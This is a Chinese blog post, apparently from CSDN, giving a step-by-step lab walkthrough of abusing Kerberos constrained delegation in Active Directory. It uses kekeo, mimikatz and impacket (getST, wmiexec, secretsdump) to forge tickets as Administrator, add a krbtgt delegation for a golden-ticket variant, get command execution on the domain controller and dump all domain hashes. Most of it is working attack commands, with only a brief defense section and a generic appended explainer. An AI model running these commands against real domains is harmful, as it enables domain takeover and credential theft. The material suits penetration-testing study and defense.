约束委派+利用约束委派生成黄金票据

本文介绍如何在特定环境下,利用已知信息生成服务用户的TGT,进而伪造管理员访问域控CIFS服务的ST,以及如何通过约束委派创建变种黄金票据,实现对域内资源的访问。

环境

域: test.com
域控:Windows server 2012R2, 主机名: AD, IP: 192.168.1.7
域内主机:系统:windows 2012R2,主机名:HyyMbb,ip:192.168.1.22
被委派用户test
测试用户test1

在这里插入图片描述

操作步骤

我们需要提前知道的信息
被委派用户的明文密码或者ntml

密码:123!@#qwe
ntml:e5ae562ddfaa6b446c32764ab1ebf3ed

1、已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

tgt::ask /user:test /domain:test.com /password:123!@#qwe /ticket:test.kirbi

我们知道NTML也可以生成TGT

tgt::ask /user:test /domain:test.com /NTLM:e5ae562ddfaa6b446c32764ab1ebf3ed

参数:

/user: 服务用户的用户名(即设置的被委派的用户)

/password: 服务用户的明文密码

/domain: 所在域名

/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

在这里插入图片描述得到服务用户TGT:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi


2、然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问AD(域控) CIFS的ST

tgs::s4u /tgt:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi /user:Administrator@test.com /service:cifs/AD.test.com

在这里插入图片描述

S4U2Self获取到的ST1以及S4U2Proxy获取到的dm08 CIFS服务的ST2会保存在当前目录下


3、然后我们用mimikatz(kekeo也可以)将ST2导入当前会话即可

kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~AD.test.com@TEST.COM.kirbi

成功访问到ADcifs服务

在这里插入图片描述

注:

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

在这里插入图片描述这样我们就能跳过第一步,直接进行二三步骤就可以了~~



利用约束委派打造变种黄金票据


环境

域: HYYMBB.com
域控:Windows server 2008R2, 主机名: AD, IP: 192.168.1.23
域内主机:系统:windows 2012R2,主机名:win2012,ip:192.168.1.22
被委派用户test
测试用户test1

这个实验我复现的时候在win2012的域控上未成功,据说是2012 及以后的KDC,受限委派的时候用的机制变成了 Resource Based Constrained Delegation

所以这个只能适用于win2008版本之前的(包括win2008)

我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgthash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN

我们可以使用powershell来添加

Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/HYYMBB.com") }

在这里插入图片描述
这儿多说一句,有的同学发现一些用户属性没有委派的选项,那是因为这时的用户还不是服务账号,我们可以用系统的自带工具setspn来绑定spn

setspn -A test/test 用户名

更详细的用法请自行百度


注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll

我们获得的test用户的信息

密码:123!@#qwe
NTML:e5ae562ddfaa6b446c32764ab1ebf3ed

1、我们可以用impacket系列的getST向KDC请求administrator的TGT
getst.exe -dc-ip 192.168.1.23 -spn krbtgt/HYYMBB.com -impersonate Administrator HYYMBB.com/test:123!@#qwe

在这里插入图片描述参数:

-impersonate:表示伪造用户

-spn:表示我们要委派的服务的spn,这里是TGS

-dc-ip:域控ip

执行之后会在当前目录生成一个缓存文件Administrator.ccache


2、注入ptc(pass the cache)

kerberos::ptc Administrator.ccache

在这里插入图片描述
在当前终端退出后就可以访问域控了

在这里插入图片描述

3、执行命令

执行命令的话我们可以用impacket系列或者powershell都可以
这儿我们使用impacket中的wmiexec.exe

set KRB5CCNAME=Administrator.ccache

wmiexec.exe -no-pass -k administrator@AD.HYYMBB.com -dc-ip 192.168.1.23

在这里插入图片描述
导出域控上所有用户以及主机的hash

set KRB5CCNAME=Administrator.ccache

secretsdump.exe -no-pass -k AD.HYYMBB.com

防御


1、高权限用户没有在特殊要求之下设置为不可委派

在这里插入图片描述

为了防止凭据被盗微软推出了Protected Users组,适用于Windows Server 2016Windows Server 2012 R2Windows Server 2012

在这里插入图片描述

参考链接

Windows域环境中,约束委派(Constrained Delegation)是一种用于限制服务或用户代表其他用户访问资源的机制。它通常用于需要跨域访问或服务间通信的场景中,同时提供更高的安全性。 ### 配置方法 约束委派可以通过Active Directory中的属性进行配置,具体步骤如下: 1. **设置约束委派**:通过修改`msDS-AllowedToDelegateTo`属性来定义允许委派的目标服务。此操作需要对目标计算机对象具有写入权限,通常要求域管理员权限或特定委托权限[^4]。 2. **查询约束委派**:可以使用工具如AdFind来查询域内或域外的约束委派用户或主机。例如: - 域内查询约束委派用户: ```shell AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto ``` - 域外查询约束委派主机: ```shell AdFind.exe -h 192.168.10.2 -u test -up test.com -b "DC=test,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto ``` ### 使用场景 1. **服务间通信**:当一个服务需要以用户的名义访问另一个服务时,可以使用约束委派来确保安全性和控制性。例如,Web服务器可能需要访问数据库服务器来获取用户请求的数据。 2. **跨域资源共享**:在多域环境中,约束委派可以用于允许某个域的服务代表用户访问另一个域中的资源,前提是两个域之间存在信任关系[^5]。 3. **自动化任务**:在需要执行自动化任务的情况下,约束委派可以帮助确保任务能够以适当的权限运行,而不暴露过多的权限。 ### 安全注意事项 - **最小权限原则**:仅授予必要的权限,避免过度授权。 - **定期审计**:定期检查和更新约束委派配置,确保其符合当前的安全策略。 - **环境变量保护**:在使用工具如mimikatz时,注意保护环境变量(如KRB5CCNAME),以防止票据泄露。 通过以上方法和场景的应用,可以在保证安全的前提下,灵活地管理和利用约束委派功能。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值